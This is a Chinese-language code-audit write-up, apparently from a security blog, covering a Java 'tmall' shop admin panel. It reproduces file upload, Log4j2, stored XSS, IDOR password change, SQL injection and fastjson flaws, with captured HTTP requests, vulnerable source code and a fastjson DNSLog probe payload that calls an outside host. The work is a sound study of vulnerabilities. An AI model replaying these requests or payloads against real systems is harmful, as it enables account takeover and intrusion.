任意文件上传漏洞:
管理员后台文件添加位置:
数据包:
POST /tmall/admin/uploadCategoryImage HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Length: 476
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: JSESSIONID=3F9D43F6B1171EB96AC92041E714A3FD; username=1209577113
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--
代码分析:
先去根据该接口快速定位:
相关代码如下,很明显后端无任何过滤:
// 上传产品类型图片-ajax @ResponseBody @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8") public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) { String originalFileName = file.getOriginalFilename(); logger.info("获取图片原始文件名: {}", originalFileName); String extension = originalFileName.substring(originalFileName.lastIndexOf('.')); String fileName = UUID.randomUUID() + extension;//uid方法重命名 String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;//拼接上传路径 logger.info("文件上传路径:{}", filePath);//这里可能存在log4j2漏洞 JSONObject object = new JSONObject(); try { logger.info("文件上传中..."); file.transferTo(new File(filePath)); logger.info("文件上传完成"); object.put("success", true); object.put("fileName", fileName); } catch (IOException e) { logger.warn("文件上传失败!"); e.printStackTrace(); object.put("success", false); } return object.toJSONString(); } }
Log4j2漏洞
根据刚才文件上传的地方可以看到logger.info函数,根据pom.xml文件中符合漏洞存在版本
根据代码可以判断,filePath是拼接了filename,然后filename是我们可以控制的,去找一个payload进行测试:
任意文件上传+Log4j2漏洞*2
在后台寻找其他上传功能,发现个人信息管理处可以上传头像
去看后端代码,一模一样的逻辑,只不过就是换了一个接口名称。
漏洞复现:
任意文件上传:
log4j2漏洞:
存储型XSS漏洞*1
在后台所有产品功能这里选择添加产品
构造一个控制台打印的xss,payload
代码分析:
同样的根据请求接口路径去快速定位相对应的功能代码:
请求数据包:
定位对应功能代码:
该模块具体代码如下:
//添加产品信息-ajax. @ResponseBody @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8") public String addProduct(@RequestParam String product_name/* 产品名称 */, @RequestParam String product_title/* 产品标题 */, @RequestParam Integer product_category_id/* 产品类型ID */, @RequestParam Double product_sale_price/* 产品促销价 */, @RequestParam Double product_price/* 产品原价 */, @RequestParam Byte product_isEnabled/* 产品状态 */, @RequestParam String propertyJson/* 产品属性JSON */, @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/, @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) { JSONObject jsonObject = new JSONObject(); logger.info("整合产品信息"); Product product = new Product() .setProduct_name(product_name) .setProduct_title(product_title) .setProduct_category(new Category().setCategory_id(product_category_id)) .setProduct_sale_price(product_sale_price) .setProduct_price(product_price) .setProduct_isEnabled(product_isEnabled) .setProduct_create_date(new Date()); logger.info("添加产品信息"); boolean yn = productService.add(product); if (!yn) { logger.warn("产品添加失败!事务回滚"); jsonObject.put("success", false); throw new RuntimeException(); } int product_id = lastIDService.selectLastID(); logger.info("添加成功!,新增产品的ID值为:{}", product_id);
没有任何过滤通过获取后直接通过“boolean yn = productService.add(product);”预编译后插入到数据库中。
而且在filter曾也没有相关过滤xss代码。
越权漏洞-任意账户密码修改
漏洞复现:
后台密码修改位置,保存并抓包。
数据包如下:
PUT /tmall/admin/account/1 HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 128 Origin: http://172.20.10.3:8080 Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=B1EFB94A5FF67C3B4FAAF58E7E80C1C4 Priority: u=0 admin_nickname=%E5%A6%82%E6%9C%89%E5%B7%A7%E5%90%88&admin_profile_picture_src=&admin_password=123456&admin_newPassword=123456789
修改请求头“PUT /tmall/admin/account/1”中的1为3后发包,返回true,但是当前用户的密码并没有被修改。
查看数据库,发现用户ID为3的管理员被修改了密码。
实现越权漏洞。
代码分析
相关功能控制层代码如下:
//更新管理员信息 @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) @ResponseBody @RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT, produces = "application/json;charset=UTF-8") public String updateAdmin(HttpSession session, @RequestParam String admin_nickname/*管理员昵称*/, @RequestParam(required = false) String admin_password/*管理员当前密码*/, @RequestParam(required = false) String admin_newPassword/*管理员新密码*/, @RequestParam(required = false) String admin_profile_picture_src/*管理员头像路径*/, @PathVariable("admin_id") String admin_id/*管理员编号*/) { logger.info("获取管理员信息"); Object adminId = checkAdmin(session);//通过session验证管理员身份 if (adminId == null) { return "admin/include/loginMessage"; } JSONObject jsonObject = new JSONObject(); Admin putAdmin = new Admin(); putAdmin.setAdmin_id(Integer.valueOf(admin_id));//通过用户传递参数进行赋值 putAdmin.setAdmin_nickname(admin_nickname); if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) { logger.info("获取需要修改的管理员信息"); Admin admin = adminService.get(null, Integer.valueOf(adminId.toString())); if (adminService.login(admin.getAdmin_name(), admin_password) != null) { logger.info("原密码正确"); putAdmin.setAdmin_password(admin_newPassword); } else { logger.info("原密码错误,返回错误信息"); jsonObject.put("success", false); jsonObject.put("message", "原密码输入有误!"); return jsonObject.toJSONString(); } } if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) { logger.info("管理员头像路径为{}", admin_profile_picture_src); putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1)); } logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击 Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了 if (yn) { logger.info("更新成功!"); jsonObject.put("success", true); session.removeAttribute("adminId"); session.invalidate(); logger.info("登录信息已清除"); } else { jsonObject.put("success", false); logger.warn("更新失败!事务回滚"); throw new RuntimeException(); } return jsonObject.toJSONString(); } }
先对当前用户的session进行校验,如果为空就直接返回错误信息。(这里注意"adminId"这个参数)相关代码如下:
logger.info("获取管理员信息");
Object adminId = checkAdmin(session);//通过session验证管理员身份
if (adminId == null) {
return "admin/include/loginMessage";
}
然后开始进行修改的相关逻辑:
if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
logger.info("获取需要修改的管理员信息");
Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
logger.info("原密码正确");
putAdmin.setAdmin_password(admin_newPassword);
} else {
logger.info("原密码错误,返回错误信息");
jsonObject.put("success", false);
jsonObject.put("message", "原密码输入有误!");
return jsonObject.toJSONString();
}
}
if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
logger.info("管理员头像路径为{}", admin_profile_picture_src);
putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
}
logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了
这里需要注意参数"admin_id"。
这里的问题在于,代码首先通过 session 验证了当前用户的身份,并从中获取了 adminId,用于后续操作。然而,在修改管理员信息的逻辑中,代码使用了用户输入的 admin_id 作为参数来执行更新操作,而不是使用从 session 中获取的 adminId。这种设计导致了越权漏洞的产生。
具体来说,攻击者可以通过构造恶意请求,将 admin_id 参数设置为其他管理员的ID,从而绕过 session 的身份验证机制,直接修改其他管理员的信息。这是因为代码在修改信息时,没有再次验证 admin_id 是否与当前登录用户的 adminId 一致,导致攻击者可以越权操作。
漏洞产生的原因:
身份验证与操作分离:代码在开始时通过 session 验证了用户的身份,并获取了 adminId,但在实际修改操作中,却使用了用户输入的 admin_id,而没有再次验证该 admin_id 是否与当前用户的 adminId 一致。
未进行权限校验:在修改管理员信息时,代码没有检查当前用户是否有权限修改指定的 admin_id。攻击者可以通过修改 admin_id 参数,越权修改其他管理员的信息。
SQL注入漏洞
漏洞复现:
条件查询用户模块
抓包数据包如下:
GET /tmall/admin/user/0/10?user_name=1&user_gender_array=0&user_gender_array=1&orderBy=&isDesc=true HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337 Priority: u=0
SqlMap一把梭。
代码分析:
通过代码框架很容易看出来使用了mybatis,全局搜索${,发现存在一处
往上走,发现select这个方法调用。
再往上走,找到相关service层
发现orderUtil参数,确定是底层存在sql注入漏洞mybatis配置文件风险的调用者
,
继续往上走找到控制层
控制层代码如下:
//按条件查询用户-ajax @ResponseBody @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8") public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */, @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */, @RequestParam(required = false) String orderBy/* 排序字段 */, @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */, @PathVariable Integer index/* 页数 */, @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException { //移除不必要条件 Byte gender = null; if (user_gender_array != null && user_gender_array.length == 1) { gender = user_gender_array[0]; } if (user_name != null) { //如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8"); user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8"); } if (orderBy != null && "".equals(orderBy)) { orderBy = null; } //封装查询条件 User user = new User() .setUser_name(user_name) .setUser_gender(gender); OrderUtil orderUtil = null; if (orderBy != null) { logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc); orderUtil = new OrderUtil(orderBy, isDesc); } JSONObject object = new JSONObject(); logger.info("按条件获取第{}页的{}条用户", index + 1, count); PageUtil pageUtil = new PageUtil(index, count); List<User> userList = userService.getList(user, orderUtil, pageUtil); object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList))); logger.info("按条件获取用户总数量"); Integer userCount = userService.getTotal(user); object.put("userCount", userCount); logger.info("获取分页信息"); pageUtil.setTotal(userCount); object.put("totalPage", pageUtil.getTotalPage()); object.put("pageUtil", pageUtil); return object.toJSONString(); } }
根据注释可以发现是用户查询模块,注入点参数为"orderBy",并且orderBy使用用户输入。
FastJson漏洞
根据pom.xml文件找到的存在fastjson组件并且版本是存在漏洞风险的版本。
fastjson漏洞需要关注的是Json.parseObject和JSON.parse
Json.parseObject和JSON.parse 是阿里巴巴的 fastjson 库中的一个方法,用于将 JSON 字符串解析为 Java 对象。fastjson 是一个高性能的 JSON 库,广泛用于 Java 项目中。
用法示例:
public static <T> T parseObject(String text, Class<T> clazz);
参数
- text: 要解析的 JSON 字符串。
- clazz: 目标 Java 类的 Class 对象,表示要将 JSON 字符串解析成的对象类型。
通过全局搜索发现Json.parseObject被使用。
控制层存在漏洞的代码功能模块如下:
//添加产品信息-ajax. @ResponseBody @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8") public String addProduct(@RequestParam String product_name/* 产品名称 */, @RequestParam String product_title/* 产品标题 */, @RequestParam Integer product_category_id/* 产品类型ID */, @RequestParam Double product_sale_price/* 产品促销价 */, @RequestParam Double product_price/* 产品原价 */, @RequestParam Byte product_isEnabled/* 产品状态 */, @RequestParam String propertyJson/* 产品属性JSON */, @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/, @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) { JSONObject jsonObject = new JSONObject(); logger.info("整合产品信息"); Product product = new Product() .setProduct_name(product_name) .setProduct_title(product_title) .setProduct_category(new Category().setCategory_id(product_category_id)) .setProduct_sale_price(product_sale_price) .setProduct_price(product_price) .setProduct_isEnabled(product_isEnabled) .setProduct_create_date(new Date()); logger.info("添加产品信息"); boolean yn = productService.add(product); if (!yn) { logger.warn("产品添加失败!事务回滚"); jsonObject.put("success", false); throw new RuntimeException(); } int product_id = lastIDService.selectLastID(); logger.info("添加成功!,新增产品的ID值为:{}", product_id); JSONObject object = JSON.parseObject(propertyJson); Set<String> propertyIdSet = object.keySet(); if (propertyIdSet.size() > 0) { logger.info("整合产品子信息-产品属性"); List<PropertyValue> propertyValueList = new ArrayList<>(5); for (String key : propertyIdSet) { String value = object.getString(key); PropertyValue propertyValue = new PropertyValue() .setPropertyValue_value(value) .setPropertyValue_property(new Property().setProperty_id(Integer.valueOf(key))) .setPropertyValue_product(new Product().setProduct_id(product_id)); propertyValueList.add(propertyValue); }
具体如下:
" JSONObject object = JSON.parseObject(propertyJson);"
然后去定位"propertyJson"函数,看看是否可控。
是可控的。
漏洞复现:
点击添加产品后抓包:
在产品属性处构造payload
POST /tmall/admin/product HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 446 Origin: http://172.20.10.3:8080 Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337 Priority: u=0 product_category_id=1&product_isEnabled=0&product_name=123&product_title=123&product_price=123&product_sale_price=123&propertyJson={"aa":{"@type":"java.net.Inet4Address","val":"ayctnlcpyu.lfcx.eu111.org"}} &productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2F70aae9ec-8a6b-4365-9afb-ae3403755086.jpg&productDetailsImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductDetailsPicture%2F55433b62-c99c-4f85-8df8-6648cb66c5e2.jpg
RCE的方法示例有很多,我就不在这里演示了。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)